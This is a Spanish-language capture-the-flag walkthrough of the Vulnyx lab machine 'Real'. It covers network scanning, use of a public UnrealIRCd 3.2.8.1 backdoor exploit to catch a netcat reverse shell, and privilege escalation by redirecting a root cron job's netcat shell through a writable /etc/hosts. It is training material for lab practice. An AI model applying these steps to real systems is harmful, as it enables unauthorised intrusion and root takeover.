Máquina Real (Vulnyx)
Comenzamos con averiguar la dirección IP de la Máquina Victima, para ello primeramente utilizaremos la herramienta netdiscover, para ello ejecutamos el siguiente comando:
$ netdiscover -i eth1 -r 10.0.2.0/24
- Kali (Máquina Atacante): 10.0.2.4
- Máquina Victima: 10.0.2.47
Comprobamos si tenemos conexión con la Máquina Victima, para ello ejecutamos el siguiente comando:
$ ping -c 1 10.0.2.47
Como se puede comprobar por el TTL nos enfrentamos a una Máquina Linux.
A continuación, realizamos con la herramienta nmap un reconocimiento de los servicios, para ello ejecutamos el siguiente comando:
$ nmap -Pn -p- 10.0.2.47 -sVC
Como podemos comprobar la Máquina Victima tiene abiertos los puertos 22, 80, 6667, 6697 y 8067.
Comprobamos que es lo que corre por el puerto 80.
A continuación, realizamos con la herramienta gobuster un fuzzing web, no encontramos nada.
Enumeramos el puerto 6667 para ver la versión con la ayuda de la herramienta nmap, para ello ejecutamos el siguiente comando:
$ nmap -Pn -p 6667 10.0.2.47 -sVC
Obtenemos la versión Unreal3.2.8.1, por lo tanto, hacemos una búsqueda por internet de algún exploit para esta versión.
Encontramos este exploit en github, nos lo descargamos, para ello ejecutamos el siguiente comando:
$ git clone https://github.com/Ranger11Danger/UnrealIRCd-3.2.8.1-Backdoor.git
A continuación, configuramos el exploit, para ello ejecutamos el siguiente comando:
$ nano exploit.py
A continuación, en nuestra terminal de nuestra Máquina Atacante y con la ayuda de la herramienta de netcat (nc) nos ponemos a la escucha por el puerto 443 por donde vamos a recibir la conexión, para ello ejecutamos el siguiente comando:
$ nc -lvnp 443
Ejecutamos el exploit, para ello ejecutamos el siguiente comando:
$ python3 exploit.py 10.0.2.47 6667 payload netcat
Obtenemos una shell como server.
A continuación, hacemos un tratamiento de la TTY para obtener una shell interactiva y así evitar problemas, para ello ejecutamos los siguientes comandos:
$ script /dev/null -c bash
Ctrl + Z
$ stty raw -echo;fg
$ reset xterm
$ export TERM=xterm
A continuación, con la ayuda de la herramienta pspy la cual previamente lo descargamos en la Máquina Víctima, enumeramos los comandos ejecutados por otros usuarios, las tareas cron, etc..., para ello ejecutamos el siguiente comando:
$ chmod +x pspy64
$ ./pspy64
Observamos que hay una tarea cron que lanza task, editamos este fichero, para ello ejecutamos el siguiente comando:
$ nano /opt/task
Este script verifica que el subdominio tiene conexión mediante el comando ping, si la tiene, abre una conexión con la herramienta netcat y ejecuta una shell en el subdominio por el puerto 65000, por lo tanto, verificamos si tenemos permiso de Lectura y Escritura en el fichero /etc/hosts, para ello ejecutamos el siguiente comando:
$ ls -la /etc/host
A continuación, de nuevo en nuestra terminal de nuestra Máquina Atacante y con la ayuda de la herramienta de netcat (nc) nos ponemos a la escucha por el puerto 65000 por donde vamos a recibir la conexión, para ello ejecutamos el siguiente comando:
$ nc -lvnp 65000
Editamos el fichero /etc/hosts para que apunte el subdominio a nuestra ip de Máquina Atacante de la siguiente manera, para ello ejecutamos el siguiente comando:
$ nano /etc/hosts
Esperamos a que se vuelva a ejecutar la tarea cron.
¡¡¡Ya somos root!!!
Ya podemos leer las flags de user y root.











